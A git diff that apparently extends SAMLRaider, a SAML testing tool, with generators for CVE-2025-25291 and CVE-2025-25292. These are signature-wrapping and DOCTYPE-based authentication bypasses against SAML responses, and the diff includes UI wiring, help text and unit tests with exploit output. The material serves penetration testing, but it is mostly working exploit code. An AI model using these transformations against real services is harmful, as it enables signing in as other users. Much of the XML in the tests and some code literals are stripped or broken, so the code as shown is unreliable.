diff --git a/src/main/java/application/SamlTabController.java b/src/main/java/application/SamlTabController.java
index 4b63126..5d89986 100644
--- a/src/main/java/application/SamlTabController.java
+++ b/src/main/java/application/SamlTabController.java
@@ -15,9 +15,8 @@
import gui.SamlPanelInfo;
import gui.SignatureHelpWindow;
import gui.XSWHelpWindow;
-import helpers.CVE_2025_23369;
-import helpers.XMLHelpers;
-import helpers.XSWHelpers;
+import helpers.*;
+
import java.awt.Component;
import java.awt.Desktop;
import java.awt.Toolkit;
@@ -489,6 +488,19 @@ public void applyCVE() {
textArea.setContents(ByteArray.byteArray(samlMessage));
isEdited = true;
setInfoMessageText("%s applied".formatted(cve));
+ break;
+ case CVE_2025_25291.CVE:
+ samlMessage = CVE_2025_25291.apply(orgSAMLMessage);
+ textArea.setContents(ByteArray.byteArray(samlMessage));
+ isEdited = true;
+ setInfoMessageText("%s applied".formatted(cve));
+ break;
+ case CVE_2025_25292.CVE:
+ samlMessage = CVE_2025_25292.apply(orgSAMLMessage);
+ textArea.setContents(ByteArray.byteArray(samlMessage));
+ isEdited = true;
+ setInfoMessageText("%s applied".formatted(cve));
+ break;
}
} catch (Exception exc) {
setInfoMessageText(exc.getMessage());
diff --git a/src/main/java/gui/CVEHelpWindow.java b/src/main/java/gui/CVEHelpWindow.java
index a52b9ad..376a0cc 100644
--- a/src/main/java/gui/CVEHelpWindow.java
+++ b/src/main/java/gui/CVEHelpWindow.java
@@ -1,6 +1,9 @@
package gui;
import helpers.CVE_2025_23369;
+import helpers.CVE_2025_25291;
+import helpers.CVE_2025_25292;
+
import java.awt.BorderLayout;
import java.io.Serial;
import javax.swing.JFrame;
@@ -32,6 +35,42 @@ public CVEHelpWindow(String cve) {
""";
+ } if (cve.equals(CVE_2025_25291.CVE)) {
+ description = """
+
+ -
+ You need a SAMLResponse that is valid and accepted by the server.
+
+ -
+ Apply the CVE to the SAMLResponse without any prior changes. See whether the
+ SAMLResponse is still accepted. If so, this is an indicator that the server is
+ vulnerable.
+
+ -
+ After applying the CVE-2025-25291 transformation, the resulting SAML message contains two
+ assertions: the original and a fake assertion crafted inside the DOCTYPE declaration
+ at the beginning of the document.
+ You can try to change one of the fake assertions attribute to bypass authentication.
+
+
+ """;
+ } if (cve.equals(CVE_2025_25292.CVE)) {
+ description = """
+
+ -
+ You need a SAMLResponse that is valid and accepted by the server.
+
+ -
+ Apply the CVE to the SAMLResponse without any prior changes. See whether the
+ SAMLResponse is still accepted. If so, this is an indicator that the server is
+ vulnerable.
+
+ -
+ After applying the CVE-2025-25292 transformation,
+ You can try to change one of the assertions attribute to bypass authentication.
+
+
+ """;
} else {
description = "no description";
}
diff --git a/src/main/java/gui/SamlPanelAction.java b/src/main/java/gui/SamlPanelAction.java
index e5e725b..edd8016 100644
--- a/src/main/java/gui/SamlPanelAction.java
+++ b/src/main/java/gui/SamlPanelAction.java
@@ -23,6 +23,9 @@
import javax.swing.JTextField;
import javax.swing.SwingUtilities;
import javax.swing.border.EmptyBorder;
+
+import helpers.CVE_2025_25291;
+import helpers.CVE_2025_25292;
import model.BurpCertificate;
import net.miginfocom.swing.MigLayout;
@@ -107,7 +110,9 @@ private void initialize() {
xmlAttacksPanel.add(btnTestXSLT, "wrap");
cmbboxCVE.setModel(new DefaultComboBoxModel<>(new String[]{
- CVE_2025_23369.CVE
+ CVE_2025_23369.CVE,
+ CVE_2025_25291.CVE,
+ CVE_2025_25292.CVE
}));
btnCVEApply.addActionListener(event -> controller.applyCVE());
diff --git a/src/main/java/helpers/CVE_2025_25291.java b/src/main/java/helpers/CVE_2025_25291.java
new file mode 100644
index 0000000..e71845e
--- /dev/null
+++ b/src/main/java/helpers/CVE_2025_25291.java
@@ -0,0 +1,96 @@
+package helpers;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.NodeList;
+import org.xml.sax.SAXException;
+
+import java.io.IOException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.TimeZone;
+
+/// Links:
+/// * https://github.com/CompassSecurity/SAMLRaider/issues/93
+/// * https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
+/// * https://portswigger.net/research/saml-roulette-the-hacker-always-wins
+/// * https://github.com/d0ge/proof-of-concept-labs/tree/main/round-trip
+public class CVE_2025_25291 {
+
+ public static final String CVE = "CVE-2025-25291";
+
+ private CVE_2025_25291() {
+ // static class
+ }
+
+ public static String apply(String samlMessage) throws SAXException, IOException {
+ XMLHelpers xmlHelpers = new XMLHelpers();
+ Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage);
+
+ String now = getCurrentSAMLTime();
+ String future = getFutureSAMLTime();
+ // Replace all time attributes except AuthnInstant, as Ruby ignores it
+ updateAttribute(document, "IssueInstant", now);
+ updateAttribute(document, "NotBefore", now);
+ updateAttribute(document, "NotOnOrAfter", future);
+ updateAttribute(document, "SessionNotOnOrAfter", future);
+
+ Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0);
+ Element assertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0);
+
+ if (response == null) {
+ throw new IllegalArgumentException("Missing element in SAML document.");
+ }
+
+ if (assertion == null) {
+ throw new IllegalArgumentException("Missing element in SAML document.");
+ }
+
+ Element root = document.getDocumentElement();
+ String endTag = root.getPrefix() != null
+ ? "" + root.getPrefix() + ":" + root.getLocalName() + ">"
+ : "" + root.getTagName() + ">";
+
+ String xmlContent = xmlHelpers.getString(document,4).trim().replaceFirst("^<\\?xml[^>]*\\?>\\s*", "");
+ String[] parts = xmlContent.split(endTag);
+
+ String originalXML = samlMessage.replaceFirst("^<\\?xml[^>]*\\?>\\s*", "");
+ String[] originalParts = originalXML.split(endTag);
+
+ if (parts.length != 1 || originalParts.length != 1) {
+ throw new IllegalArgumentException("SAML document structure is invalid or contains multiple root elements.");
+ }
+
+ return "\n" +
+ parts[0] +
+ "\n" +
+ originalParts[0] +
+ "\n" +
+ endTag;
+ }
+
+ private static void updateAttribute(Document document, String attrName, String value) {
+ NodeList allElements = document.getElementsByTagName("*");
+ for (int i = 0; i < allElements.getLength(); i++) {
+ Element el = (Element) allElements.item(i);
+ if (el.hasAttribute(attrName)) {
+ el.setAttribute(attrName, value);
+ }
+ }
+ }
+
+ private static String getCurrentSAMLTime() {
+ return getFormattedSAMLTime(new Date());
+ }
+
+ private static String getFutureSAMLTime() {
+ long now = System.currentTimeMillis();
+ return getFormattedSAMLTime(new Date(now + 60 * 60 * 1000));
+ }
+
+ private static String getFormattedSAMLTime(Date date) {
+ SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
+ sdf.setTimeZone(TimeZone.getTimeZone("UTC"));
+ return sdf.format(date);
+ }
+}
diff --git a/src/main/java/helpers/CVE_2025_25292.java b/src/main/java/helpers/CVE_2025_25292.java
new file mode 100644
index 0000000..9befd96
--- /dev/null
+++ b/src/main/java/helpers/CVE_2025_25292.java
@@ -0,0 +1,243 @@
+package helpers;
+
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
+import org.w3c.dom.Node;
+import org.w3c.dom.NodeList;
+import org.xml.sax.SAXException;
+
+import java.io.IOException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.text.SimpleDateFormat;
+import java.util.*;
+
+/// Links:
+/// * https://github.com/CompassSecurity/SAMLRaider/issues/93
+/// * https://github.blog/security/sign-in-as-anyone-bypassing-saml-sso-authentication-with-parser-differentials/
+/// * https://portswigger.net/research/saml-roulette-the-hacker-always-wins
+/// * https://github.com/d0ge/proof-of-concept-labs/tree/main/round-trip
+public class CVE_2025_25292 {
+
+ public static final String CVE = "CVE-2025-25292";
+ private static final String XMLNS = "http://www.w3.org/2000/xmlns/";
+
+ private CVE_2025_25292() {
+ // static class
+ }
+
+ public static String apply(String samlMessage) throws SAXException, IOException {
+ XMLHelpers xmlHelpers = new XMLHelpers();
+ Document document = xmlHelpers.getXMLDocumentOfSAMLMessage(samlMessage);
+
+ Element response = (Element) document.getElementsByTagNameNS("*", "Response").item(0);
+ Element assertion = (Element) document.getElementsByTagNameNS("*", "Assertion").item(0);
+ if (response == null) {
+ throw new IllegalArgumentException("No element found.");
+ }
+ if (assertion == null) {
+ throw new IllegalArgumentException("No element found.");
+ }
+
+ Element signatureForResponse = null;
+ Element signatureForAssertion = null;
+
+ List signatureElements = new ArrayList<>();
+ NodeList signatureNodes = document.getElementsByTagNameNS("*", "Signature");
+ for (int i = 0; i < signatureNodes.getLength(); i++) {
+ signatureElements.add((Element) signatureNodes.item(i));
+ }
+
+ for (Element sig : signatureElements) {
+ NodeList referenceNodes = sig.getElementsByTagNameNS("*", "Reference");
+ if (referenceNodes.getLength() == 0) continue;
+
+ Element reference = (Element) referenceNodes.item(0);
+ String refURI = reference.getAttribute("URI").substring(1);
+
+ Element target = null;
+ NodeList allElements = document.getElementsByTagName("*");
+ for (int j = 0; j < allElements.getLength(); j++) {
+ Element el = (Element) allElements.item(j);
+ if (el.hasAttribute("ID") && el.getAttribute("ID").equals(refURI)) {
+ target = el;
+ break;
+ }
+ }
+
+ if (target == null) continue;
+
+ if ("Response".equals(target.getLocalName())) {
+ signatureForResponse = sig;
+ } else if ("Assertion".equals(target.getLocalName())) {
+ signatureForAssertion = sig;
+ }
+
+ Node parent = sig.getParentNode();
+ if (parent != null) {
+ parent.removeChild(sig);
+ }
+ }
+
+ Element sourceSignature = (signatureForAssertion != null) ? signatureForAssertion : signatureForResponse;
+ if (sourceSignature == null) throw new IllegalArgumentException("No element found.");
+
+ Element sigForAssertion = buildSignatureElement(document, sourceSignature);
+
+ NodeList digestValues = sigForAssertion.getElementsByTagNameNS("*", "DigestValue");
+ for (int i = 0; i < digestValues.getLength(); i++) {
+ digestValues.item(i).setTextContent(computeDigestFromSignature(sourceSignature));
+ }
+
+ Node firstChild = assertion.getFirstChild();
+ while (firstChild != null && firstChild.getNodeType() != Node.ELEMENT_NODE) {
+ firstChild = firstChild.getNextSibling();
+ }
+
+ if (firstChild == null || !"Issuer".equals(firstChild.getLocalName())) {
+ throw new IllegalArgumentException("Expected as the first child of Assertion");
+ }
+
+ assertion.insertBefore(sigForAssertion, firstChild.getNextSibling());
+ assertion.setAttributeNS(XMLNS, "xmlns:example", "http://example.com\u0080");
+
+ Element status = (Element) response.getElementsByTagNameNS("*", "Status").item(0);
+ if (status == null) {
+ throw new IllegalArgumentException("Missing element in SAML .");
+ }
+
+ String statusPrefix = status.getPrefix();
+ String statusNamespace = status.getNamespaceURI();
+
+ String qualifiedName = (statusPrefix != null && !statusPrefix.isEmpty())
+ ? statusPrefix + ":StatusDetail"
+ : "StatusDetail";
+
+ Element statusDetail = document.createElementNS(statusNamespace, qualifiedName);
+ status.appendChild(statusDetail);
+
+ String namePrefix = sourceSignature.getPrefix();
+ String signatureNamespace = sourceSignature.getNamespaceURI();
+
+ if (namePrefix != null && !namePrefix.isEmpty() && signatureNamespace != null) {
+ String xmlnsAttrName = "xmlns:" + namePrefix;
+
+ if (!response.hasAttributeNS(XMLNS, namePrefix)) {
+ response.setAttributeNS(
+ XMLNS,
+ xmlnsAttrName,
+ signatureNamespace
+ );
+ }
+ }
+
+ Element newSig = document.createElement("Signature");
+ NodeList children = sourceSignature.getChildNodes();
+ for (int i = 0; i < children.getLength(); i++) {
+ Node imported = document.importNode(children.item(i), true);
+ newSig.appendChild(imported);
+ }
+ statusDetail.appendChild(newSig);
+
+ if (signatureForAssertion == null) {
+ String referenceURI = null;
+ NodeList referenceList = sourceSignature.getElementsByTagNameNS("*", "Reference");
+ Element referenceElement = (Element) referenceList.item(0);
+ if (referenceElement != null && referenceElement.hasAttribute("URI")) {
+ referenceURI = referenceElement.getAttribute("URI").substring(1);
+ }
+ assertion.setAttribute("ID", referenceURI);
+ response.setAttribute("ID", referenceURI + "ffff");
+ }
+
+ // Replace all time attributes except AuthnInstant, as Ruby ignores it
+ String now = getCurrentSAMLTime();
+ String future = getFutureSAMLTime();
+ updateAttribute(document, "IssueInstant", now);
+ updateAttribute(document, "NotBefore", now);
+ updateAttribute(document, "NotOnOrAfter", future);
+ updateAttribute(document, "SessionNotOnOrAfter", future);
+
+ StringBuilder doctypePayload = new StringBuilder("]>");
+
+ String xmlString = xmlHelpers.getString(document);
+ int declEnd = xmlString.indexOf("?>");
+ if (declEnd != -1) {
+ return xmlString.substring(0, declEnd + 2) + doctypePayload + xmlString.substring(declEnd + 2);
+ }
+ return "\n" + doctypePayload + xmlString;
+ }
+
+ private static Element buildSignatureElement(Document doc, Element sourceSignature) {
+ String prefix = sourceSignature.getPrefix();
+ String ns = sourceSignature.getNamespaceURI();
+ String qualifiedName = (prefix != null && !prefix.isEmpty()) ? prefix + ":Signature" : "Signature";
+
+ Element newSig = doc.createElementNS(ns, qualifiedName);
+ NodeList children = sourceSignature.getChildNodes();
+ for (int i = 0; i < children.getLength(); i++) {
+ Node imported = doc.importNode(children.item(i), true);
+ newSig.appendChild(imported);
+ }
+ return newSig;
+ }
+
+ private static void updateAttribute(Document document, String attrName, String value) {
+ NodeList allElements = document.getElementsByTagName("*");
+ for (int i = 0; i < allElements.getLength(); i++) {
+ Element el = (Element) allElements.item(i);
+ if (el.hasAttribute(attrName)) {
+ el.setAttribute(attrName, value);
+ }
+ }
+ }
+
+ private static String getCurrentSAMLTime() {
+ return getFormattedSAMLTime(new Date());
+ }
+
+ private static String getFutureSAMLTime() {
+ long now = System.currentTimeMillis();
+ return getFormattedSAMLTime(new Date(now + 24 * 60 * 60 * 1000));
+ }
+
+ private static String getFormattedSAMLTime(Date date) {
+ SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'");
+ sdf.setTimeZone(TimeZone.getTimeZone("UTC"));
+ return sdf.format(date);
+ }
+
+ public static String computeDigestFromSignature(Element signatureElement) {
+ NodeList digestMethodNodes = signatureElement.getElementsByTagNameNS("*", "DigestMethod");
+ if (digestMethodNodes.getLength() == 0) {
+ throw new IllegalArgumentException("No found in Signature element.");
+ }
+
+ Element digestMethod = (Element) digestMethodNodes.item(0);
+ String algorithmUri = digestMethod.getAttribute("Algorithm");
+
+ String javaAlgorithm = mapXmlDigestAlgorithm(algorithmUri);
+ if (javaAlgorithm == null) {
+ throw new IllegalArgumentException("Unsupported digest algorithm: " + algorithmUri);
+ }
+
+ try {
+ MessageDigest digest = MessageDigest.getInstance(javaAlgorithm);
+ byte[] hashBytes = digest.digest("".getBytes(java.nio.charset.StandardCharsets.UTF_8));
+ return Base64.getEncoder().encodeToString(hashBytes);
+ } catch (NoSuchAlgorithmException e) {
+ throw new RuntimeException("Hash algorithm not available: " + javaAlgorithm, e);
+ }
+ }
+
+ private static String mapXmlDigestAlgorithm(String uri) {
+ return switch (uri) {
+ case "http://www.w3.org/2000/09/xmldsig#sha1" -> "SHA-1";
+ case "http://www.w3.org/2001/04/xmlenc#sha256" -> "SHA-256";
+ case "http://www.w3.org/2001/04/xmldsig-more#sha384" -> "SHA-384";
+ case "http://www.w3.org/2001/04/xmlenc#sha512" -> "SHA-512";
+ default -> null;
+ };
+ }
+}
diff --git a/src/test/java/helpers/CVE_2025_25291_Test.java b/src/test/java/helpers/CVE_2025_25291_Test.java
new file mode 100644
index 0000000..1c85b73
--- /dev/null
+++ b/src/test/java/helpers/CVE_2025_25291_Test.java
@@ -0,0 +1,179 @@
+package helpers;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CVE_2025_25291_Test {
+
+ @Test
+ void testCVE_2025_25291() throws Exception {
+ String originalAssertion = "\n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " X93f9X12WaBTTCIV9ieoGC5jCNQ=frpkh6UOyazC+9oFaT7ZfHK2oFVX71d0Dmx1AtNFSyAjjIi4eQFYU4K8Rgzmp4Io6Z8z7tftni5qMZMbrTE5S+ot0vaBH7BSrbYn/9lfeeZkPnq9waW1RCXDipliv1TJy6M5+ysjLjy4UmHOR2x82pg0m+9YnM4jS2/e5OCUvEk=\n" +
+ "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" +
+ " \n" +
+ " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://sp.example.com/demo1/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " test\n" +
+ " \n" +
+ " \n" +
+ " test@example.com\n" +
+ " \n" +
+ " \n" +
+ " users\n" +
+ " examplerole1\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "";
+
+ String exploitAssertion = "\n" +
+ "\n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " X93f9X12WaBTTCIV9ieoGC5jCNQ=\n" +
+ " \n" +
+ " \n" +
+ " frpkh6UOyazC+9oFaT7ZfHK2oFVX71d0Dmx1AtNFSyAjjIi4eQFYU4K8Rgzmp4Io6Z8z7tftni5qMZMbrTE5S+ot0vaBH7BSrbYn/9lfeeZkPnq9waW1RCXDipliv1TJy6M5+ysjLjy4UmHOR2x82pg0m+9YnM4jS2/e5OCUvEk=\n" +
+ " \n" +
+ " \n" +
+ " MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://sp.example.com/demo1/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " test\n" +
+ " \n" +
+ " \n" +
+ " test@example.com\n" +
+ " \n" +
+ " \n" +
+ " users\n" +
+ " examplerole1\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "\n" +
+ "\n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " X93f9X12WaBTTCIV9ieoGC5jCNQ=frpkh6UOyazC+9oFaT7ZfHK2oFVX71d0Dmx1AtNFSyAjjIi4eQFYU4K8Rgzmp4Io6Z8z7tftni5qMZMbrTE5S+ot0vaBH7BSrbYn/9lfeeZkPnq9waW1RCXDipliv1TJy6M5+ysjLjy4UmHOR2x82pg0m+9YnM4jS2/e5OCUvEk=\n" +
+ "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" +
+ " \n" +
+ " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://sp.example.com/demo1/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " test\n" +
+ " \n" +
+ " \n" +
+ " test@example.com\n" +
+ " \n" +
+ " \n" +
+ " users\n" +
+ " examplerole1\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "\n" +
+ "";
+
+ var exploit = CVE_2025_25291.apply(originalAssertion);
+ exploit = Arrays.stream(exploit.split("\n"))
+ .map(line -> line
+ .replaceAll("IssueInstant=\"[^\"]+\"", "IssueInstant=\"TIME\"")
+ .replaceAll("NotBefore=\"[^\"]+\"", "NotBefore=\"TIME\"")
+ .replaceAll("NotOnOrAfter=\"[^\"]+\"", "NotOnOrAfter=\"TIME\"")
+ .replaceAll("SessionNotOnOrAfter=\"[^\"]+\"", "SessionNotOnOrAfter=\"TIME\"")
+ )
+ .collect(Collectors.joining("\n"));
+ assertEquals(exploitAssertion, exploit);
+ }
+}
diff --git a/src/test/java/helpers/CVE_2025_25292_Test.java b/src/test/java/helpers/CVE_2025_25292_Test.java
new file mode 100644
index 0000000..b14c852
--- /dev/null
+++ b/src/test/java/helpers/CVE_2025_25292_Test.java
@@ -0,0 +1,114 @@
+package helpers;
+
+import org.junit.jupiter.api.Test;
+
+import java.util.Arrays;
+import java.util.stream.Collectors;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+public class CVE_2025_25292_Test {
+
+ @Test
+ void testCVE_2025_25292() throws Exception {
+ String originalAssertion = "\n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " jD7cZy+vZBy2qJgf21D2ybTDCTE=LfSKTTLlNsRNi0c+XJUrUH1rrVcLFR/IZOeyTWU3rGe3a2c++dLyNMV00oClk9lcPk+/P6qOtpaZFkFDQTHAYP0yEroInIBx24g5jBxLib8SAFZaH5tQHw8LzCVSksPJpCVBXHC9wOvnD1ui4GfxFkjbuxtUcylBA63F1jAA1FI=\n" +
+ "MIICajCCAdOgAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJ1czETMBEGA1UECAwKQ2FsaWZvcm5pYTEVMBMGA1UECgwMT25lbG9naW4gSW5jMRcwFQYDVQQDDA5zcC5leGFtcGxlLmNvbTAeFw0xNDA3MTcxNDEyNTZaFw0xNTA3MTcxNDEyNTZaMFIxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMRUwEwYDVQQKDAxPbmVsb2dpbiBJbmMxFzAVBgNVBAMMDnNwLmV4YW1wbGUuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDZx+ON4IUoIWxgukTb1tOiX3bMYzYQiwWPUNMp+Fq82xoNogso2bykZG0yiJm5o8zv/sd6pGouayMgkx/2FSOdc36T0jGbCHuRSbtia0PEzNIRtmViMrt3AeoWBidRXmZsxCNLwgIV6dn2WpuE5Az0bHgpZnQxTKFek0BMKU/d8wIDAQABo1AwTjAdBgNVHQ4EFgQUGHxYqZYyX7cTxKVODVgZwSTdCnwwHwYDVR0jBBgwFoAUGHxYqZYyX7cTxKVODVgZwSTdCnwwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQ0FAAOBgQByFOl+hMFICbd3DJfnp2Rgd/dqttsZG/tyhILWvErbio/DEe98mXpowhTkC04ENprOyXi7ZbUqiicF89uAGyt1oqgTUCD1VsLahqIcmrzgumNyTwLGWo17WDAa1/usDhetWAMhgzF/Cnf5ek0nK00m0YZGyc4LzgD0CROMASTWNg==\n" +
+ " \n" +
+ " _ce3d2948b4cf20146dee0a0b3dd6f69b6cf86f62d7\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " http://sp.example.com/demo1/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " urn:oasis:names:tc:SAML:2.0:ac:classes:Password\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " test\n" +
+ " \n" +
+ " \n" +
+ " test@example.com\n" +
+ " \n" +
+ " \n" +
+ " users\n" +
+ " examplerole1\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ "";
+
+ String exploitAssertion = "]>\n" +
+ "\n" +
+ " http://idp.example.com/metadata.php\n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " \n" +
+ " jD7cZy+vZBy2qJgf21D2ybTDCTE=LfSKTTLlNsRNi0c+XJUrUH1rrVcLFR/IZOeyTWU3rGe3a2c++dLyNMV00oClk9lcPk+/P6qOtpaZFkFDQTHAYP0yEroInIBx24g5jBxLib8SAFZaH5tQHw8LzCVSksPJpCVBXHC9wOvnD1ui4GfxFkjbuxtUcylBA63F1jAA1FI=\n" +
